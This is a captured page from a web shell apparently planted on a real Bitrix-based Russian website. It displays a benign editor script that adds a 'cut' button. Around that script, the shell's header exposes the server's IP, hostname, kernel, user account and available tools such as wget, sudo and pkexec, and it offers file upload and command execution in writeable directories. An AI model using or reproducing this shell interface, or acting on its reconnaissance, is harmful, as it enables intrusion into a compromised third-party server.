403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/idea.edit/templates/.default/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/idea.edit/templates/.default/script.js
;(function(window){
	BX.Idea = (!!BX.Idea ? BX.Idea : {});
	BX.Idea.obj = (!!BX.Idea.obj ? BX.Idea.obj : {});
	if (!!BX.Idea["customizeEditor"] || !!top.BX.Idea["customizeEditor"])
		return;

	BX.Idea.customizeEditor = function(id)
	{
		BX.addCustomEvent(window, 'OnEditorInitedBefore', BX.Idea.onEditorInitedBefore);
	};

	BX.Idea.onEditorInitedBefore = function(editor)
	{
		// add style for cut-image
		var cutCss = "\nimg.bxed-cut{background: transparent url('/bitrix/images/blog/editor/cut_image.gif') left top repeat-x; margin: 2px; width: 100%; height: 12px;}\n";
		if(editor.iframeCssText != undefined && editor.iframeCssText.length > 0)
			editor.iframeCssText += cutCss;
		else
			editor.iframeCssText = cutCss;

		editor.AddButton({
			id : 'cut',
			name : BX.message.CutTitle,
			iconClassName : 'cut',
			disabledForTextarea : false,
			src : '/bitrix/images/blog/editor/cut_button.png',
			toolbarSort : 205,
			handler : function()
			{
				var
					_this = this,
					res = false;

				// Iframe
				if (!_this.editor.bbCode || !_this.editor.synchro.IsFocusedOnTextarea())
				{
					var cutImg = '<img id="' + editor.SetBxTag(false, {tag: "cut"}) + '" class="bxed-cut" src="' + editor.EMPTY_IMAGE_SRC + '" title="' + BX.message.CutTitle + '">';
					res = _this.editor.action.actions.insertHTML.exec("insertHTML", cutImg);
				}
				else // bbcode + textarea
				{
					res = _this.editor.action.actions.formatBbCode.exec('formatBbCode', {tag: 'CUT', 'singleTag' : true});
				}
				return res;
			}
		});

		editor.AddParser({
			name : 'cut',
			obj : {
				Parse: function(parserName, content)
				{
					content = content.replace(/\[cut\]/gi,
						function(str, id, name)
						{
							var cutImg = '<img id="' + editor.SetBxTag(false, {tag: "cut"}) + '" class="bxed-cut" src="' + editor.EMPTY_IMAGE_SRC + '" title="' + BX.message.CutTitle + '">';
							return cutImg;
						});
					return content;
				},
				/**
				 * @return {string}
				 */
				UnParse: function(bxTag, oNode)
				{
					if (bxTag.tag == 'cut')
						return "[CUT]";
					else
						return "";
				}

			}
		});
	};

})(window);

Youez - 2016 - github.com/yon3zu
LinuXploit